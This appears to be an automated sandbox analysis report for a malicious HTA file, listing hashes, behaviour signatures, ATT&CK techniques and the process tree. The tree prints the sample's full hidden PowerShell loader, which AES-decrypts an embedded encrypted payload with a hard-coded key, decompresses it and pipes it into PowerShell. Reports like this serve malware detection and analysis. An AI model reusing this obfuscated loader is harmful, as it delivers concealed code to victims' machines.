69f275c4e85f0cdc320ea2956a359cc2230ebe5492d2e1297048eb10933f7c50

General

Target

51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta
Size

1.3MB
MD5

12e11aec09a12f714ccf9ab425ca70e9
SHA1

9dead6076a2dadf2c2b530038bd4c3f6c0eb5aaa
SHA256

51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98
SHA512

29834691a9ca405b875622f273320699e71e2fab5cf5ef396f6248bfaf4e88836bbfc8817ebeea24f8ea2ebd19df3510bf28b1026a9a1a7d25fd6f32494ae74d
SSDEEP

3072:rsas4u5vq277nFQX1OW9zBvG7+jY8iJgeUeBTfRtqvaZmcI2oZRa/FU:4aRu5vbFQXU653j0JDDDZmcI2oZRaNU

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2384	powershell.exe
2384	powershell.exe
2552	powershell.exe
2816	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2384	2180	mshta.exe	28
PID 2180 wrote to memory of 2384	2180	mshta.exe	28
PID 2180 wrote to memory of 2384	2180	mshta.exe	28
PID 2180 wrote to memory of 2384	2180	mshta.exe	28
PID 2384 wrote to memory of 2524	2384	powershell.exe	30
PID 2384 wrote to memory of 2524	2384	powershell.exe	30
PID 2384 wrote to memory of 2524	2384	powershell.exe	30
PID 2384 wrote to memory of 2524	2384	powershell.exe	30
PID 2524 wrote to memory of 2552	2524	cmd.exe	32
PID 2524 wrote to memory of 2552	2524	cmd.exe	32
PID 2524 wrote to memory of 2552	2524	cmd.exe	32
PID 2524 wrote to memory of 2552	2524	cmd.exe	32
PID 2524 wrote to memory of 2816	2524	cmd.exe	33
PID 2524 wrote to memory of 2816	2524	cmd.exe	33
PID 2524 wrote to memory of 2816	2524	cmd.exe	33
PID 2524 wrote to memory of 2816	2524	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2552
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T38LFKEJ1NFNJ4TYNQO3.temp

Filesize
7KB

MD5
d56b642070e9af23214f5b322a6290a8

SHA1
7f8ee1a82c1ce0f8ffdcc0d75f40b1e41ad43816

SHA256
1c336ee780759dbca303a1548d4061081164c95c1ce9a33fa7c666fcafdb61b1

SHA512
42d6b0bafa09b8fbf6e229a9c92e2709fe565df9cb10cf19cb78903c0e404e08ea73e3ee13540225835b2a0d7cd7a59f2ca8ee29aaebef4428113971315b624c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d56b642070e9af23214f5b322a6290a8

SHA1
7f8ee1a82c1ce0f8ffdcc0d75f40b1e41ad43816

SHA256
1c336ee780759dbca303a1548d4061081164c95c1ce9a33fa7c666fcafdb61b1

SHA512
42d6b0bafa09b8fbf6e229a9c92e2709fe565df9cb10cf19cb78903c0e404e08ea73e3ee13540225835b2a0d7cd7a59f2ca8ee29aaebef4428113971315b624c

Download Submit
memory/2384-5-0x0000000001D40000-0x0000000001D80000-memory.dmp

Filesize
256KB

Download
memory/2384-2-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2384-6-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2384-4-0x0000000001D40000-0x0000000001D80000-memory.dmp

Filesize
256KB

Download
memory/2384-3-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2552-17-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2552-18-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2552-19-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2552-20-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2552-23-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-21-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-22-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-24-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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